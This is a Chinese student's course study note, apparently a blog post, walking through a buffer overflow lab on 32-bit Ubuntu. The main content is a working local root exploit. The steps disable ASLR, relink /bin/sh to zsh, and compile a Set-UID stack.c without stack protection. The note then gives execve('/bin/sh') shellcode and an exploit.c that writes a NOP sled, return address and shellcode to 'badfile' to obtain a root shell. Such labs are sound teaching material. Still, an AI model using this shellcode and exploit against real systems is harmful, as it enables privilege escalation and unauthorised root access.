20179223《Linux内核原理与分析》第十一周学习笔记
缓冲区溢出漏洞实验
一、实验简介
缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。
二、实验准备
系统用户名shiyanlou
实验楼提供的是64位Ubuntu linux,而本次实验为了方便观察汇编语句,我们需要在32位环境下作操作,因此实验之前需要做一些准备。
1、输入命令安装一些用于编译32位C程序的东西:
sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
sudo apt-get install lib32readline-gplv2-dev
2、输入命令“linux32”进入32位linux环境。此时你会发现,命令行用起来没那么爽了,比如不能tab补全了,所以输入“/bin/bash”使用bash:
三、实验步骤
3.1 初始设置
Ubuntu和其他一些Linux系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中,我们使用以下命令关闭这一功能:
sudo sysctl -w kernel.randomize_va_space=0
此外,为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击,许多shell程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个Set-UID程序调用一个shell,也不能在这个shell中保持root权限,这个防护措施在/bin/bash中实现。
linux系统中,/bin/sh实际是指向/bin/bash或/bin/dash的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个shell程序(zsh)代替/bin/bash。下面的指令描述了如何设置zsh程序:
sudo su
cd /bin
rm sh
ln -s zsh sh
exit
3.2 shellcode
一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是shellcode。
观察以下代码:
int main( )
{
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}
本次实验的shellcode,就是刚才代码的汇编版本:
\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
3.3 漏洞程序
把以下代码保存为“stack.c”文件,保存到 /tmp 目录下。代码如下:
/ stack.c /
/ This program has a buffer overflow vulnerability. /
/ Our task is to exploit this vulnerability /
int bof(char *str)
{
char buffer[12];
/ The following statement has a buffer overflow problem /
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
通过代码可以知道,程序会读取一个名为“badfile”的文件,并将文件内容装入“buffer”。
编译该程序,并设置SET-UID。命令如下:
sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
exit
GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。
而 -z execstack 用于允许执行栈。
3.4 攻击程序
我们的目的是攻击刚才的漏洞程序,并通过攻击获得root权限。
把以下代码保存为“exploit.c”文件,保存到 /tmp 目录下。代码如下:
/ exploit.c /
/ A program that creates a file containing code for launching shell/
char shellcode[]=
"\x31\xc0" //xorl %eax,%eax
"\x50" //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50" //pushl %eax
"\x53" //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99" //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/ Initialize buffer with 0x90 (NOP instruction) /
memset(&buffer, 0x90, 517);
/ You need to fill the buffer with appropriate contents here /
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer+100,shellcode);
/ Save the contents to the file "badfile" /
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
注意上面的代码,“\x??\x??\x??\x??”处需要添上shellcode保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。
而 strcpy(buffer+100,shellcode); 这一句又告诉我们,shellcode保存在 buffer+100 的位置。
现在我们要得到shellcode在内存中的地址,输入命令:
gdb stack
disass main
结果如图:
接下来的操作:
根据语句 strcpy(buffer+100,shellcode); 我们计算shellcode的地址为 0xffffd2a0(十六进制)+100(十进制)=0xffffd304(十六进制)
现在修改exploit.c文件!将 \x??\x??\x??\x?? 修改为 \x04\xd3\xff\xff
然后,编译exploit.c程序:
gcc -m32 -o exploit exploit.c
3.5 攻击结果
先运行攻击程序exploit,再运行漏洞程序stack,观察结果:
可见,通过攻击,获得了root权限!
四、实验体会
本次实验耗时将近2个小时,也是自己磕磕绊绊摸索。虽然经过反复排查,寻找问题并加以解决,实验也前前后后重做了近10次,终于得以成功!获得root权限
其中最大的问题在于编译程序之前首先要进入tmp本次实验非常有收获,加深了我对缓冲区溢出漏洞的理解
20179223《Linux内核原理与分析》第十一周学习笔记的更多相关文章
- 20179223《Linux内核原理与分析》第九周学习笔记
视频学习 进程调度与进程调度的时机分析 不同类型的进程有不同的调度需求 第一种分类: --I/O-bound:1.频繁的进行I/O:2.通常会花费很多时间等待I/O操作的完成 --CPU-bound: ...
- 20179223《Linux内核原理与分析》第二周学习笔记
第二周实验 本周学习情况: 学习了X86 cpu的几个寄存器及X86汇编指令: movl %eax,%edx edx=eax %表示一个寄存器,把eax内容放入edx,等号相当于把eax赋值给edx, ...
- 20179223《Linux内核原理与分析》第一周学习笔记
第一周实验 尝试创建两个文件,用通配符查找这两个文件:在创建文件的时候,需要同时创建多个文件的方法运行. 根据作业要求,实现一个lilux命令. 根据作业要求添加一个用户loutest,使用sudo创 ...
- 20179203李鹏举 《Linux内核原理与分析》第一周学习笔记
Linux基础入门 一.Linux的基础学习 1.1 Linux的重要基础操作 Linux不同于Windows的纯粹的图形化界面,虽然也有图形桌面的操作但是更多的操作还是通过命令行来进行,当然除了命令 ...
- 20179223《Linux内核原理与分析》第四周学习笔记
补交第三周作业 完成一个简单的时间片轮转多道程序内核 1.使用实验楼的虚拟机打开shell,用cd LinuxKernel/linux-3.9.4进入linux-3.9.4. 2.执行命令qemu - ...
- 20169212《Linux内核原理与分析》第二周作业
<Linux内核原理与分析>第二周作业 这一周学习了MOOCLinux内核分析的第一讲,计算机是如何工作的?由于本科对相关知识的不熟悉,所以感觉有的知识理解起来了有一定的难度,不过多查查资 ...
- 20169210《Linux内核原理与分析》第二周作业
<Linux内核原理与分析>第二周作业 本周作业分为两部分:第一部分为观看学习视频并完成实验楼实验一:第二部分为看<Linux内核设计与实现>1.2.18章并安装配置内核. 第 ...
- 2018-2019-1 20189221 《Linux内核原理与分析》第九周作业
2018-2019-1 20189221 <Linux内核原理与分析>第九周作业 实验八 理理解进程调度时机跟踪分析进程调度与进程切换的过程 进程调度 进度调度时机: 1.中断处理过程(包 ...
- 2017-2018-1 20179215《Linux内核原理与分析》第二周作业
20179215<Linux内核原理与分析>第二周作业 这一周主要了解了计算机是如何工作的,包括现在存储程序计算机的工作模型.X86汇编指令包括几种内存地址的寻址方式和push.pop.c ...
- 2019-2020-1 20199329《Linux内核原理与分析》第九周作业
<Linux内核原理与分析>第九周作业 一.本周内容概述: 阐释linux操作系统的整体构架 理解linux系统的一般执行过程和进程调度的时机 理解linux系统的中断和进程上下文切换 二 ...
随机推荐
- js删除数组中某一项或几项的几种方法
1:js中的splice方法 splice(index,len,[item]) 注释:该方法会改变原始数组. splice有3个参数,它也可以用来替换/删除/添加数组内某一个或者几个值 inde ...
- 《Think in Java》(十三)字符串
学完这章后,对 Java 字符串有了重新的认识.自己也看了下 CharSequence,String,StringBuilder,StringBuffer 等类的实现代码.
- selenium的三种等待时间设置
为了提高脚本的稳定性,我们需要在脚本中增加等待时间 第一种:强制等待 Thread.sleep():固定休眠时间设置,Java的Thread类里提供了休眠方法sleep,导入包后就能使用 sleep( ...
- HTML子页面保存关闭并刷新父页面
1.思路是子页面保存后,后台传递成功的js到前台. 2.js的原理是——子页面调用父页面的刷新 子页面 function Refresh() { window.parent.Re ...
- 初学Laravel框架与ThinkPHP框架的不同
作为一个PHP菜鸟初学Laravel框架 在学习过程中我发现了其与TP框架的不同点,由于时间问题和认识还不够完善我先写出其中几点,有错误的地方希望各位大牛斧正... 1.渲染模版方式的不同:在Lara ...
- write 系统调用耗时长的原因
前一阵子公司一部门有人叫帮忙调查,说他们write系统调用基本上是个位数微秒就返回,或者说几十us,但偶尔出现几次write系统调用达到几百毫秒和情况.大家都知道,通过vfs进行write,都是写写到 ...
- opencv 图片降噪
—— # -*- coding: utf-8 -* import numpy as np import cv2 cap = cv2.VideoCapture(0) while True: _ , fr ...
- C# 常用字符串处理办法
再基础的东西不常用的话就得记下来...不然就忘记了. C#字符串中特殊字符的转义 一个是双引号",另一个就是转义符\ 对于同样一个字符串:地址:"C:\Users\E.txt&qu ...
- iOS如何直接跳转到App Store
在iOS应用中如何直接跳转到AppStore里面?其实这个问题很简单,首先拿到你要跳转到的AppStore地址(URL) 例如:https://itunes.apple.com/us/app/中久便利 ...
- 第7课:sql注入、操作session、cookie实例、网络编程、操作Excel
1. 简单讲一些sql注入的内容 name = 'zdq' sex = '女' cur.execute("select * from bt_stu where real_name='%s'& ...